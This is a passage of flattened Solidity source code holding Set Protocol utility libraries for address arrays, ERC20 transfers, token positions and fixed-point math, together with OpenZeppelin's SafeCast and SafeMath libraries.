AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays * * CHANGELOG: * - 4/21/21: Added validatePairsWithArray methods */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } /** * Validate that address and uint array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of uint */ function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bool array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bool */ function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and string array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of strings */ function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address array lengths match, and calling address array are not empty * and contain no duplicate elements. * * @param A Array of addresses * @param B Array of addresses */ function validatePairsWithArray(address[] memory A, address[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bytes array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bytes */ function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate address array is not empty and contains no duplicate elements. * * @param A Array of addresses */ function _validateLengthAndUniqueness(address[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate addresses"); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title ExplicitERC20 * @author Set Protocol * * Utility functions for ERC20 transfers that require the explicit amount to be transferred. */ library ExplicitERC20 { using SafeMath for uint256; /** * When given allowance, transfers a token from the "_from" to the "_to" of quantity "_quantity". * Ensures that the recipient has received the correct quantity (ie no fees taken on transfer) * * @param _token ERC20 token to approve * @param _from The account to transfer tokens from * @param _to The account to transfer tokens to * @param _quantity The quantity to transfer */ function transferFrom( IERC20 _token, address _from, address _to, uint256 _quantity ) internal { // Call specified ERC20 contract to transfer tokens (via proxy). if (_quantity > 0) { uint256 existingBalance = _token.balanceOf(_to); SafeERC20.safeTransferFrom( _token, _from, _to, _quantity ); uint256 newBalance = _token.balanceOf(_to); // Verify transfer quantity is reflected in balance require( newBalance == existingBalance.add(_quantity), "Invalid post transfer balance" ); } } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title IModule * @author Set Protocol * * Interface for interacting with Modules. */ interface IModule { /** * Called by a SetToken to notify that this module was removed from the Set token. Any logic can be included * in case checks need to be made or state needs to be cleared. */ function removeModule() external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; /** * @title Invoke * @author Set Protocol * * A collection of common utility functions for interacting with the SetToken's invoke function */ library Invoke { using SafeMath for uint256; /* ============ Internal ============ */ /** * Instructs the SetToken to set approvals of the ERC20 token to a spender. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to approve * @param _spender The account allowed to spend the SetToken's balance * @param _quantity The quantity of allowance to allow */ function invokeApprove( ISetToken _setToken, address _token, address _spender, uint256 _quantity ) internal { bytes memory callData = abi.encodeWithSignature("approve(address,uint256)", _spender, _quantity); _setToken.invoke(_token, 0, callData); } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function invokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _to, _quantity); _setToken.invoke(_token, 0, callData); } } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * The new SetToken balance must equal the existing balance less the quantity transferred * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function strictInvokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { // Retrieve current balance of token for the SetToken uint256 existingBalance = IERC20(_token).balanceOf(address(_setToken)); Invoke.invokeTransfer(_setToken, _token, _to, _quantity); // Get new balance of transferred token for SetToken uint256 newBalance = IERC20(_token).balanceOf(address(_setToken)); // Verify only the transfer quantity is subtracted require( newBalance == existingBalance.sub(_quantity), "Invalid post transfer balance" ); } } /** * Instructs the SetToken to unwrap the passed quantity of WETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeUnwrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("withdraw(uint256)", _quantity); _setToken.invoke(_weth, 0, callData); } /** * Instructs the SetToken to wrap the passed quantity of ETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeWrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("deposit()"); _setToken.invoke(_weth, _quantity, callData); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; /** * @title Position * @author Set Protocol * * Collection of helper functions for handling and updating SetToken Positions * * CHANGELOG: * - Updated editExternalPosition to work when no external position is associated with module */ library Position { using SafeCast for uint256; using SafeMath for uint256; using SafeCast for int256; using SignedSafeMath for int256; using PreciseUnitMath for uint256; /* ============ Helper ============ */ /** * Returns whether the SetToken has a default position for a given component (if the real unit is > 0) */ function hasDefaultPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) > 0; } /** * Returns whether the SetToken has an external position for a given component (if # of position modules is > 0) */ function hasExternalPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getExternalPositionModules(_component).length > 0; } /** * Returns whether the SetToken component default position real unit is greater than or equal to units passed in. */ function hasSufficientDefaultUnits(ISetToken _setToken, address _component, uint256 _unit) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) >= _unit.toInt256(); } /** * Returns whether the SetToken component external position is greater than or equal to the real units passed in. */ function hasSufficientExternalUnits( ISetToken _setToken, address _component, address _positionModule, uint256 _unit ) internal view returns(bool) { return _setToken.getExternalPositionRealUnit(_component, _positionModule) >= _unit.toInt256(); } /** * If the position does not exist, create a new Position and add to the SetToken. If it already exists, * then set the position units. If the new units is 0, remove the position. Handles adding/removing of * components where needed (in light of potential external positions). * * @param _setToken Address of SetToken being modified * @param _component Address of the component * @param _newUnit Quantity of Position units - must be >= 0 */ function editDefaultPosition(ISetToken _setToken, address _component, uint256 _newUnit) internal { bool isPositionFound = hasDefaultPosition(_setToken, _component); if (!isPositionFound && _newUnit > 0) { // If there is no Default Position and no External Modules, then component does not exist if (!hasExternalPosition(_setToken, _component)) { _setToken.addComponent(_component); } } else if (isPositionFound && _newUnit == 0) { // If there is a Default Position and no external positions, remove the component if (!hasExternalPosition(_setToken, _component)) { _setToken.removeComponent(_component); } } _setToken.editDefaultPositionUnit(_component, _newUnit.toInt256()); } /** * Update an external position and remove and external positions or components if necessary. The logic flows as follows: * 1) If component is not already added then add component and external position. * 2) If component is added but no existing external position using the passed module exists then add the external position. * 3) If the existing position is being added to then just update the unit and data * 4) If the position is being closed and no other external positions or default positions are associated with the component * then untrack the component and remove external position. * 5) If the position is being closed and other existing positions still exist for the component then just remove the * external position. * * @param _setToken SetToken being updated * @param _component Component position being updated * @param _module Module external position is associated with * @param _newUnit Position units of new external position * @param _data Arbitrary data associated with the position */ function editExternalPosition( ISetToken _setToken, address _component, address _module, int256 _newUnit, bytes memory _data ) internal { if (_newUnit != 0) { if (!_setToken.isComponent(_component)) { _setToken.addComponent(_component); _setToken.addExternalPositionModule(_component, _module); } else if (!_setToken.isExternalPositionModule(_component, _module)) { _setToken.addExternalPositionModule(_component, _module); } _setToken.editExternalPositionUnit(_component, _module, _newUnit); _setToken.editExternalPositionData(_component, _module, _data); } else { require(_data.length == 0, "Passed data must be null"); // If no default or external position remaining then remove component from components array if (_setToken.getExternalPositionRealUnit(_component, _module) != 0) { address[] memory positionModules = _setToken.getExternalPositionModules(_component); if (_setToken.getDefaultPositionRealUnit(_component) == 0 && positionModules.length == 1) { require(positionModules[0] == _module, "External positions must be 0 to remove component"); _setToken.removeComponent(_component); } _setToken.removeExternalPositionModule(_component, _module); } } } /** * Get total notional amount of Default position * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _positionUnit Quantity of Position units * * @return Total notional amount of units */ function getDefaultTotalNotional(uint256 _setTokenSupply, uint256 _positionUnit) internal pure returns (uint256) { return _setTokenSupply.preciseMul(_positionUnit); } /** * Get position unit from total notional amount * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _totalNotional Total notional amount of component prior to * @return Default position unit */ function getDefaultPositionUnit(uint256 _setTokenSupply, uint256 _totalNotional) internal pure returns (uint256) { return _totalNotional.preciseDiv(_setTokenSupply); } /** * Get the total tracked balance - total supply * position unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @return Notional tracked balance */ function getDefaultTrackedBalance(ISetToken _setToken, address _component) internal view returns(uint256) { int256 positionUnit = _setToken.getDefaultPositionRealUnit(_component); return _setToken.totalSupply().preciseMul(positionUnit.toUint256()); } /** * Calculates the new default position unit and performs the edit with the new unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @param _setTotalSupply Current SetToken supply * @param _componentPreviousBalance Pre-action component balance * @return Current component balance * @return Previous position unit * @return New position unit */ function calculateAndEditDefaultPosition( ISetToken _setToken, address _component, uint256 _setTotalSupply, uint256 _componentPreviousBalance ) internal returns(uint256, uint256, uint256) { uint256 currentBalance = IERC20(_component).balanceOf(address(_setToken)); uint256 positionUnit = _setToken.getDefaultPositionRealUnit(_component).toUint256(); uint256 newTokenUnit; if (currentBalance > 0) { newTokenUnit = calculateDefaultEditPositionUnit( _setTotalSupply, _componentPreviousBalance, currentBalance, positionUnit ); } else { newTokenUnit = 0; } editDefaultPosition(_setToken, _component, newTokenUnit); return (currentBalance, positionUnit, newTokenUnit); } /** * Calculate the new position unit given total notional values pre and post executing an action that changes SetToken state * The intention is to make updates to the units without accidentally picking up airdropped assets as well. * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _preTotalNotional Total notional amount of component prior to executing action * @param _postTotalNotional Total notional amount of component after the executing action * @param _prePositionUnit Position unit of SetToken prior to executing action * @return New position unit */ function calculateDefaultEditPositionUnit( uint256 _setTokenSupply, uint256 _preTotalNotional, uint256 _postTotalNotional, uint256 _prePositionUnit ) internal pure returns (uint256) { // If pre action total notional amount is greater then subtract post action total notional and calculate new position units uint256 airdroppedAmount = _preTotalNotional.sub(_prePositionUnit.preciseMul(_setTokenSupply)); return _postTotalNotional.sub(airdroppedAmount).preciseDiv(_setTokenSupply); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title PreciseUnitMath * @author Set Protocol * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. * * CHANGELOG: * - 9/21/20: Added safePower function * - 4/21/21: Added approximatelyEquals function */ library PreciseUnitMath { using SafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 constant internal PRECISE_UNIT = 10 ** 18; int256 constant internal PRECISE_UNIT_INT = 10 ** 18; // Max unsigned integer value uint256 constant internal MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 constant internal MAX_INT_256 = type(int256).max; int256 constant internal MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Cant divide by 0"); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "Cant divide by 0"); require(a != MIN_INT_256 || b != -1, "Invalid input"); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower( uint256 a, uint256 pow ) internal pure returns (uint256) { require(a > 0, "Value must be positive"); uint256 result = 1; for (uint256 i = 0; i < pow; i++){ uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } /** * @dev Returns true if a =~ b within range, false otherwise. */ function approximatelyEquals(uint256 a, uint256 b, uint256 range) internal pure returns (bool) { return a <= b.add(range) && a >= b.sub(range); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IController } from "../../interfaces/IController.sol"; import { IIntegrationRegistry } from "../../interfaces/IIntegrationRegistry.sol"; import { IPriceOracle } from "../../interfaces/IPriceOracle.sol"; import { ISetValuer } from "../../interfaces/ISetValuer.sol"; /** * @title ResourceIdentifier * @author Set Protocol * * A collection of utility functions to fetch information related to Resource contracts in the system */ library ResourceIdentifier { // IntegrationRegistry will always be resource ID 0 in the system uint256 constant internal INTEGRATION_REGISTRY_RESOURCE_ID = 0; // PriceOracle will always be resource ID 1 in the system uint256 constant internal PRICE_ORACLE_RESOURCE_ID = 1; // SetValuer resource will always be resource ID 2 in the system uint256 constant internal SET_VALUER_RESOURCE_ID = 2; /* ============ Internal ============ */ /** * Gets the instance of integration registry stored on Controller. Note: IntegrationRegistry is stored as index 0 on * the Controller */ function getIntegrationRegistry(IController _controller) internal view returns (IIntegrationRegistry) { return IIntegrationRegistry(_controller.resourceId(INTEGRATION_REGISTRY_RESOURCE_ID)); } /** * Gets instance of price oracle on Controller. Note: PriceOracle is stored as index 1 on the Controller */ function getPriceOracle(IController _controller) internal view returns (IPriceOracle) { return IPriceOracle(_controller.resourceId(PRICE_ORACLE_RESOURCE_ID)); } /** * Gets the instance of Set valuer on Controller. Note: SetValuer is stored as index 2 on the Controller */ function getSetValuer(IController _controller) internal view returns (ISetValuer) { return ISetValuer(_controller.resourceId(SET_VALUER_RESOURCE_ID)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to 